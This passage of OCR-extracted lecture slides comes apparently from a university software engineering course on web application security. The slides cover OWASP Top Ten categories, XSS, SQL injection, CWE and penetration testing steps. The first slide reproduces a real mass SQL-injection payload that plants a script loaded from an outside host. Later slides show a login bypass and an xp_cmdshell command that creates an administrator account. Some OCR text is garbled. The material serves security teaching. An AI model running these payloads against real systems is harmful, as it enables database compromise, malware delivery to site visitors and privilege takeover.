| "text": "ANSWER \"GET /programs/biosafety/bioSafety_handBook/Chapter%206- Bloodborne%20Pathogens%2OHuman%20Tissue?;DECLARE%20@S%2 0CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)`@C varchar(4O0O) DECLARE Table Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+\"\"></title><script src=\"http://sdo.1000mg.cn/csrss/w.js\"></script><!--\" wh??re '+@C+ not like \"%\"></title><script src=\"http://sdo.100Omg.cn/csrss/w.js\"></script><!-\")FETCH NEXT FROM Table Cursor INTO @T'@C END CLOSE Table Cursor DEALLOCATE Tabe Cursor http://www.dolcevie.com/js/converter.html BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_003.png", |
| "page_index": 449, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:32+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-450-0000": { |
| "id": "CO3001-chapter-12-slide-450-0000", |
| "text": "D0 YOU KNOW? 75% of attacks today happen at the Application Layer (Gartner). Many \"easy hacking recipes\" published on web. Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable. The cost and reputation savings of avoiding a security breach are 1 priceless\" BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_004.png", |
| "page_index": 450, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:36+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-451-0000": { |
| "id": "CO3001-chapter-12-slide-451-0000", |
| "text": "SECURITY PROPERTIES Confidentiality Integrity The system continues to operate properly, only reaching states that would occur if there were no attacker Availability Actions by an attacker do not prevent users from having access to use of the system BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_005.png", |
| "page_index": 451, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:41+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-452-0000": { |
| "id": "CO3001-chapter-12-slide-452-0000", |
| "text": "GENERAL PICTURE System Alice Attacker Security is about - Honest user (e.g., Alice, Bob, ... Dishonest Attacker How the Attacker Disrupts honest user's use of the system (lntegrity, Availability) Learns information intended for Alice only (Confidentiality) BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_006.png", |
| "page_index": 452, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:45+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-453-0000": { |
| "id": "CO3001-chapter-12-slide-453-0000", |
| "text": "GENERAL PICTURE System Alice Attacker Security is about - Honest user (e.g., Alice, Bob, ... Dishonest Attacker How the Attacker Disrupts honest user's use of the system (lntegrity, Availability) Learns information intended for Alice only (Confidentiality) BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_007.png", |
| "page_index": 453, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:49+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-454-0000": { |
| "id": "CO3001-chapter-12-slide-454-0000", |
| "text": "Network security Network Attacker System Intercepts and controls network communication Alice BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_008.png", |
| "page_index": 454, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:53+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-455-0000": { |
| "id": "CO3001-chapter-12-slide-455-0000", |
| "text": "Web security System Web Attacker Sets up malicious site visited by victim; no control of network Alice BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_009.png", |
| "page_index": 455, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:13:56+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-456-0000": { |
| "id": "CO3001-chapter-12-slide-456-0000", |
| "text": "Operating system security Applicaton Disk Drive Operating Systerm Mouse Monittr OS Attacker Controls malicious Printer files and Keyboard applications Alice BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_010.png", |
| "page_index": 456, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:01+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-457-0000": { |
| "id": "CO3001-chapter-12-slide-457-0000", |
| "text": "System Alice Attacker Confidentiality: Attacker does not learn Alice's secrets Integrity: Attacker does not undetectably corrupt system's function for Alice Availability: Attacker does not keep system from being useful to Alice BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_011.png", |
| "page_index": 457, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:05+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-458-0000": { |
| "id": "CO3001-chapter-12-slide-458-0000", |
| "text": "OWASP TOP TEN LIST A3:Broken A4:lnsecure A2: Cross-Site Authentication A1:lnjection Direct Object Scripting (XSS) and Session References Management A5: Cross Site A7: Failure to A8:lnsecure A6: Security Request Forgery Restrict URL Cryptographic Misconfiguration (CSRF) Access Storage A9:lnsufficient A1O:Unvalidated Transport Layer Redirects and Protection Forwards OWASP http://www.owasp.org/index.php/Top 10 The Open Web Application Security Project http://www.owasp.org BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_012.png", |
| "page_index": 458, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:10+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-459-0000": { |
| "id": "CO3001-chapter-12-slide-459-0000", |
| "text": "CROSS-SITE SCRIPTING (XSS) ATTACKS inject client-side scripts into web pages viewed by other users Injects script Web App into web site A hacker was able to insert JavaScript code Hacker into the Obama community blog section The JavaScript would redirect the users to the Hillary Clinton website YouTube Demonstration Retrieves compromised Compromised Read about it on ChannelWeb Web App page content Unknowingly Websites from FBI.gov, CNN.com executes script Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs End User BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_013.png", |
| "page_index": 459, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:16+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-460-0000": { |
| "id": "CO3001-chapter-12-slide-460-0000", |
| "text": "SQL INJECTION ATTACKS SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements.\" (Wikipedia) Uses SQL script Web App injection to access data Hacker BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_014.png", |
| "page_index": 460, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:20+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-461-0000": { |
| "id": "CO3001-chapter-12-slide-461-0000", |
| "text": "SQL INJECTION ATTACKS Login Example Attack Text in blue is your SQL code, Text in orange is the hacker input black text is your application code Login: Password: Dynamically Build SQL String performing authentication: password= Hacker logs in as: ' or SELECT * FROM users WHERE login =c or -- ana password=\" BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_015.png", |
| "page_index": 461, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:24+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-462-0000": { |
| "id": "CO3001-chapter-12-slide-462-0000", |
| "text": "MORE DANGEROUS SQL INJECTION ATTACKS Hacker creates a Windows Account: SELECT * FROM users WHERE login = ; exec and password= 77 And then adds himself as an adminstrator: SELECT * FROM users WHERE login = \"; exec master..xp_cmdshell 'net localgroup Administrators username add';--' and password= SQL Injection examples are outlined in: http://www.spidynamics.com/papers/SQLlniectionWhitePaper.pdf http://www.unixwiz.net/techtips/sgl-iniection.html BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_016.png", |
| "page_index": 462, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:29+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-463-0000": { |
| "id": "CO3001-chapter-12-slide-463-0000", |
| "text": "NSECURE DIRECT OBJECT REEERENCE \"A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form other objects without authorization. Fancy term for parameter tampering E.g./BankAccount.jsp?acct_nmbr=123 The hacker modifies the parameter to view another users account BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_017.png", |
| "page_index": 463, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:32+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-464-0000": { |
| "id": "CO3001-chapter-12-slide-464-0000", |
| "text": "MALICIOUS FILE EXECUTION \"Code vulnerable to remote file inclusion (RFl) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users. Happens when code is executed on the server from a non- trusted source All web applications are vulnerable to malicious file execution if they accept filenames or files from the user. C Classic example: PHP is particularly vulnerable Hacker visits a website that allows uploads Hacker uploads a malicious code Hacker learns directory structure and sends the path as a parameter PHP code is executed on the server include $ REQUEST['filename'1 BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_018.png", |
| "page_index": 464, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:37+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-465-0000": { |
| "id": "CO3001-chapter-12-slide-465-0000", |
| "text": "Class Weakness class Example Weakness (CWE Id Entry) W321 Authentication CWE-285: Improper and Access Authorization Control W322 Buffer Handling CWE-120: Buffer Copy (C/C++ only) without Checking Size of https://cve.mitre.org Input W323 Code Quality CWE-561: Dead Code https://cwe.mitre.org W324 Control Flow CWE-705: Incorrect Control Management Flow Scoping W325 Encryption and CWE-328: Reversible One- Randomness Way Hash W326 Error Handling CWE-755: Improper Handling The Common Weakness Enumeration (CWE) of Exceptional Conditions is a category system for software weaknesses W327 File Handling CWE-23: Relative Path Traversal and vulnerabilities. It is sustained by a W328 Information Leaks CWE-534: Information community project with the goals of Exposure Through Debug Log Files understanding flaws in software and creating W329 Injection CWE-564: SOL Injection automated tools that can be used to identify. W3210 Malicious Logic CWE-506: Embedded Malicious Code fix, and prevent those flaws. W3211 Number Handling CWE-369: Divide by Zerc W3212 Pointer and CWE-476: NULL Pointer Reference Dereference BK 28.08.2023 Handling TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_019.png", |
| "page_index": 465, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:46+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-466-0000": { |
| "id": "CO3001-chapter-12-slide-466-0000", |
| "text": "VULNERABILITY ASSESSMENT Assess and secure all parts individually The idea is to force an attacker to penetrate several defence layers as \"untrusted\" 'ln God we trust for the rest, we test\" BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_020.png", |
| "page_index": 466, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:50+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-467-0000": { |
| "id": "CO3001-chapter-12-slide-467-0000", |
| "text": "TWO OPTIONS Static analysis Automated methods to find errors or check their absence Consider all possible inputs (in summary form) Find bugs and vulnerabilities Can prove absence of bugs, in some cases Dynamic analysis Run instrumented code to find problems Need to choose sample test input Can find vulnerabilities but cannot prove their absence BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_021.png", |
| "page_index": 467, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:54+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-468-0000": { |
| "id": "CO3001-chapter-12-slide-468-0000", |
| "text": "PENETRATION TESTING (PENTEST) A penetration test is a method of evaluating the security of a computer system or network by simulating an attack from a malicious source, known as a Black Hat Hacker, or Cracker. - Wikipedia BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_022.png", |
| "page_index": 468, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:14:57+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-469-0000": { |
| "id": "CO3001-chapter-12-slide-469-0000", |
| "text": "PENTEST VS. VULNERABILITY ASSESSMENT Vulnerability Assessment: Predictable. Can be planned & designed Unreliable at times and high rate of false positives. (l've got a banner) Produces a report with mitigation guidelines and action items. Penetration Testing: Unpredictable by the recipient. (Don't know the \"how?\" and \"when?\") Highly accurate and reliable. (I've got root!) Penetration Testing = Proof of Concept against vulnerabilities. Produces a binary result: Either the team owned you, or they didn't. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_023.png", |
| "page_index": 469, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:02+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-470-0000": { |
| "id": "CO3001-chapter-12-slide-470-0000", |
| "text": "PENTEST - STEPS Analysis and Information Gathering Network Enumeration and Scanning Vulnerability Testing and Exploitation Reporting BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_024.png", |
| "page_index": 470, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:04+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-471-0000": { |
| "id": "CO3001-chapter-12-slide-471-0000", |
| "text": "PENTEST - STEPS Analysis and Information Gathering To discover as much information about a target (individual or organization) as possible without actually making network contact with said target. Methods: Organization info discovery via WHOlS Google search Website browsing BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_025.png", |
| "page_index": 471, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:08+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-472-0000": { |
| "id": "CO3001-chapter-12-slide-472-0000", |
| "text": "PENTEST - STEPS Analysis and Information Gathering Network Enumeration and Scanning To discover existing networks owned by a target as well as live hosts and services running on those hosts. Methods Scanning programs that identify live hosts, open ports, services, and other info (Nmap, autoscan) DNS Querying Route analysis (traceroute BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_026.png", |
| "page_index": 472, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:12+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-473-0000": { |
| "id": "CO3001-chapter-12-slide-473-0000", |
| "text": "PENTEST - STEPS Analysis and Information Gathering Network Enumeration and Scanning Vulnerability Testing and Exploitation To check hosts for known vulnerabilities and to see if they are exploitable, as well as to assess the potential severity of said vulnerabilities Methods: Remote vulnerability scanning (Nessus, OpenVAS Active exploitation testing Login checking and bruteforcing Vulnerability exploitation (Metasploit, Core lmpact) 0day and exploit discovery (Fuzzing, program analysis) Post exploitation techniques to assess severity (permission levels, backdoors, rootkits, etc BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_027.png", |
| "page_index": 473, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:16+07:00" |
| } |
| }, |
| "CO3001-chapter-12-slide-474-0000": { |
| "id": "CO3001-chapter-12-slide-474-0000", |
| "text": "EXERCISE BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_12/slide_028.png", |
| "page_index": 474, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:15:19+07:00" |
| } |
| } |
| } |
